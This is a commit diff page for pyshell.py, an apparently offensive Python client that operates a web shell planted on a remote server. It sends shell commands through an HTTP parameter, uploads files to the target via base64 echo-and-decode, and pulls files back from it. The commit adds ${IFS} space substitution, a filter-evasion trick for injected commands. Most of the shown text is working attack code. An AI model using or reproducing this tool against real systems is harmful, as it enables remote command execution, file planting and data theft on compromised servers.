Skip to content

Commit 208d327

Browse files
authored
Update pyshell.py
1 parent 234b809 commit 208d327

File tree

1 file changed

+13
-9
lines changed

1 file changed

+13
-9
lines changed

pyshell.py

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,7 @@ def send_command(command, webshell, method, param="code"):
5757
PARAM = args.param
5858
PIPE = ""
5959
COMMAND_LIST = ["ls", "dir", "cat", "type", "rm", "del", "file"]
60+
space = " "
6061
if args.pipe:
6162
PIPE = "|"
6263
whoami = send_command(PIPE + "whoami", WEBSHELL, HTTP_METHOD, PARAM)
@@ -89,12 +90,12 @@ def send_command(command, webshell, method, param="code"):
8990
while True:
9091
try:
9192
cinput = (colored(" [PyShell] ", "grey", "on_green")) ; cinput += (colored(" ", "green", "on_blue"))
92-
cinput += (colored(str(whoami).rstrip()+"@"+str(hostname).rstrip()+" ", "grey", "on_blue"))
93+
cinput += (colored(str(whoami).rstrip()+"@"+str(hostname).rstrip() + " ", "grey", "on_blue"))
9394
if len(str(path).rstrip()) > 30:
9495
shortpath = str(path).rstrip().split(slash)[-3:] ; shortpath = ".." + slash + slash.join(map(str, shortpath))
95-
cinput += (colored(" ", "blue", "on_yellow")) ; cinput += (colored(shortpath.rstrip()+" ", "grey", "on_yellow"))
96+
cinput += (colored(" ", "blue", "on_yellow")) ; cinput += (colored(shortpath.rstrip() + " ", "grey", "on_yellow"))
9697
else:
97-
cinput += (colored(" ", "blue", "on_yellow")) ; cinput += (colored(path.rstrip()+" ", "grey", "on_yellow"))
98+
cinput += (colored(" ", "blue", "on_yellow")) ; cinput += (colored(path.rstrip() + " ", "grey", "on_yellow"))
9899
cinput += (colored(" ", "yellow"))
99100
command = input(cinput + "\001\033[0m\002")
100101
if command == "exit":
@@ -103,6 +104,7 @@ def send_command(command, webshell, method, param="code"):
103104
else:
104105
if args.ifs:
105106
command = command.replace(" ","${IFS}")
107+
space = "${IFS}"
106108
if len(command) == 0:
107109
print("\n")
108110
continue
@@ -131,10 +133,10 @@ def send_command(command, webshell, method, param="code"):
131133
except OSError:
132134
print (colored("[!] Local file " + localfile + " does not exist!\n", "red"))
133135
continue
134-
print (colored("[+] Uploading file "+ cwd + slash + localfile +" on "+ remotefile +"..\n", "yellow"))
136+
print (colored("[+] Uploading file "+ cwd + slash + localfile +" on "+ remotefile +"..\n", "red"))
135137
upload = send_command(PIPE + "echo " + str(base64data.rstrip(), "utf8") + " > " + remotefile, WEBSHELL, HTTP_METHOD, PARAM)
136138
if system == "linux":
137-
send_command(PIPE + "base64 -di " + remotefile + " > " + remotefiletmp + " ; mv " + remotefiletmp + " " +
139+
send_command(PIPE + "base64 -di " + remotefile + " > " + remotefiletmp + " ; mv " + remotefiletmp + space +
138140
remotefile, WEBSHELL, HTTP_METHOD, PARAM)
139141
if system == "windows":
140142
command = " ; [System.Convert]::FromBase64String($base64) | Set-Content -Encoding Byte "
@@ -152,9 +154,9 @@ def send_command(command, webshell, method, param="code"):
152154
cwd = os.getcwd()
153155
if localfile == ".":
154156
localfile = command.split()[1]
155-
print (colored("[+] Downloading file "+ remotefile +" on "+ cwd + slash + localfile +"..\n", "yellow"))
157+
print (colored("[+] Downloading file "+ remotefile +" on "+ cwd + slash + localfile +"..\n", "red"))
156158
if slash in localfile:
157-
print (colored("[+] Downloading file "+ remotefile +" on "+ localfile +"..\n", "yellow"))
159+
print (colored("[+] Downloading file "+ remotefile +" on "+ localfile +"..\n", "red"))
158160
if system == "linux":
159161
base64data = send_command(PIPE + "base64 " + remotefile, WEBSHELL, HTTP_METHOD, PARAM)
160162
if system == "windows":
@@ -171,6 +173,8 @@ def send_command(command, webshell, method, param="code"):
171173
print (colored(path, "yellow"))
172174
else:
173175
if "cd" in command.split()[0]:
176+
if args.ifs:
177+
command = command.replace("${IFS}"," ")
174178
if command.split()[1] == ".":
175179
continue
176180
if ".." in command.split()[1]:
@@ -192,15 +196,15 @@ def send_command(command, webshell, method, param="code"):
192196
param = ""
193197
for i in list(command_array):
194198
if i.startswith("-"):
195-
param += i + " "
199+
param += i + space
196200
command_array.remove(i)
197201
cmd = command_array.pop(0)
198202
if len(command_array) == 0:
199203
relative_path = ""
200204
else:
201205
relative_path = command_array[0]
202206
if not slash in relative_path:
203-
command = cmd + " " + param + path.rstrip() + slash + relative_path
207+
command = cmd + space + param + path.rstrip() + slash + relative_path
204208
content = send_command(PIPE + command, WEBSHELL, HTTP_METHOD, PARAM)
205209
if "<pre>" in content:
206210
content = str(content).split("<pre>", 1)[1] ; content = str(content).split("</pre>", 1)[0]

0 commit comments

Comments
 (0)